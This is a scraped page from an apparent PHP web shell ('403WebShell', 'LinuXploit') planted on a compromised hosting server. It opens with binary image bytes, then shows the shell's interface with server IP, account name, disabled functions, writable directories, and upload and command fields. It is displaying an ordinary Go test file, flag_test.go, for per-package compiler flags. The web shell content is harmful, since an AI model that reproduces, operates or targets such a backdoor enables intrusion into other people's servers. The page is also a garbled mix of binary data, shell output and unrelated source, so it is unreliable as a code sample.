JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.159  /  Your IP : 216.73.216.193
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./self/root/proc/self/root/opt/golang/1.22.0/src/cmd/go/internal/load/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./self/root/proc/self/root/opt/golang/1.22.0/src/cmd/go/internal/load/flag_test.go
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package load

import (
	"fmt"
	"path/filepath"
	"reflect"
	"testing"
)

type ppfTestPackage struct {
	path    string
	dir     string
	cmdline bool
	flags   []string
}

type ppfTest struct {
	args []string
	pkgs []ppfTestPackage
}

var ppfTests = []ppfTest{
	// -gcflags=-S applies only to packages on command line.
	{
		args: []string{"-S"},
		pkgs: []ppfTestPackage{
			{cmdline: true, flags: []string{"-S"}},
			{cmdline: false, flags: []string{}},
		},
	},

	// -gcflags=-S -gcflags= overrides the earlier -S.
	{
		args: []string{"-S", ""},
		pkgs: []ppfTestPackage{
			{cmdline: true, flags: []string{}},
		},
	},

	// -gcflags=net=-S applies only to package net
	{
		args: []string{"net=-S"},
		pkgs: []ppfTestPackage{
			{path: "math", cmdline: true, flags: []string{}},
			{path: "net", flags: []string{"-S"}},
		},
	},

	// -gcflags=net=-S -gcflags=net= also overrides the earlier -S
	{
		args: []string{"net=-S", "net="},
		pkgs: []ppfTestPackage{
			{path: "net", flags: []string{}},
		},
	},

	// -gcflags=net/...=-S net math
	// applies -S to net and net/http but not math
	{
		args: []string{"net/...=-S"},
		pkgs: []ppfTestPackage{
			{path: "net", flags: []string{"-S"}},
			{path: "net/http", flags: []string{"-S"}},
			{path: "math", flags: []string{}},
		},
	},

	// -gcflags=net/...=-S -gcflags=-m net math
	// applies -m to net and math and -S to other packages matching net/...
	// (net matches too, but it was grabbed by the later -gcflags).
	{
		args: []string{"net/...=-S", "-m"},
		pkgs: []ppfTestPackage{
			{path: "net", cmdline: true, flags: []string{"-m"}},
			{path: "math", cmdline: true, flags: []string{"-m"}},
			{path: "net", cmdline: false, flags: []string{"-S"}},
			{path: "net/http", flags: []string{"-S"}},
			{path: "math", flags: []string{}},
		},
	},

	// relative path patterns
	// ppfDirTest(pattern, n, dirs...) says the first n dirs should match and the others should not.
	ppfDirTest(".", 1, "/my/test/dir", "/my/test", "/my/test/other", "/my/test/dir/sub"),
	ppfDirTest("..", 1, "/my/test", "/my/test/dir", "/my/test/other", "/my/test/dir/sub"),
	ppfDirTest("./sub", 1, "/my/test/dir/sub", "/my/test", "/my/test/dir", "/my/test/other", "/my/test/dir/sub/sub"),
	ppfDirTest("../other", 1, "/my/test/other", "/my/test", "/my/test/dir", "/my/test/other/sub", "/my/test/dir/other", "/my/test/dir/sub"),
	ppfDirTest("./...", 3, "/my/test/dir", "/my/test/dir/sub", "/my/test/dir/sub/sub", "/my/test/other", "/my/test/other/sub"),
	ppfDirTest("../...", 4, "/my/test/dir", "/my/test/other", "/my/test/dir/sub", "/my/test/other/sub", "/my/other/test"),
	ppfDirTest("../...sub...", 3, "/my/test/dir/sub", "/my/test/othersub", "/my/test/yellowsubmarine", "/my/other/test"),
}

func ppfDirTest(pattern string, nmatch int, dirs ...string) ppfTest {
	var pkgs []ppfTestPackage
	for i, d := range dirs {
		flags := []string{}
		if i < nmatch {
			flags = []string{"-S"}
		}
		pkgs = append(pkgs, ppfTestPackage{path: "p", dir: d, flags: flags})
	}
	return ppfTest{args: []string{pattern + "=-S"}, pkgs: pkgs}
}

func TestPerPackageFlag(t *testing.T) {
	nativeDir := func(d string) string {
		if filepath.Separator == '\\' {
			return `C:` + filepath.FromSlash(d)
		}
		return d
	}

	for i, tt := range ppfTests {
		t.Run(fmt.Sprintf("#%d", i), func(t *testing.T) {
			ppFlags := new(PerPackageFlag)
			for _, arg := range tt.args {
				t.Logf("set(%s)", arg)
				if err := ppFlags.set(arg, nativeDir("/my/test/dir")); err != nil {
					t.Fatal(err)
				}
			}
			for _, p := range tt.pkgs {
				dir := nativeDir(p.dir)
				flags := ppFlags.For(&Package{PackagePublic: PackagePublic{ImportPath: p.path, Dir: dir}, Internal: PackageInternal{CmdlinePkg: p.cmdline}})
				if !reflect.DeepEqual(flags, p.flags) {
					t.Errorf("For(%v, %v, %v) = %v, want %v", p.path, dir, p.cmdline, flags, p.flags)
				}
			}
		})
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit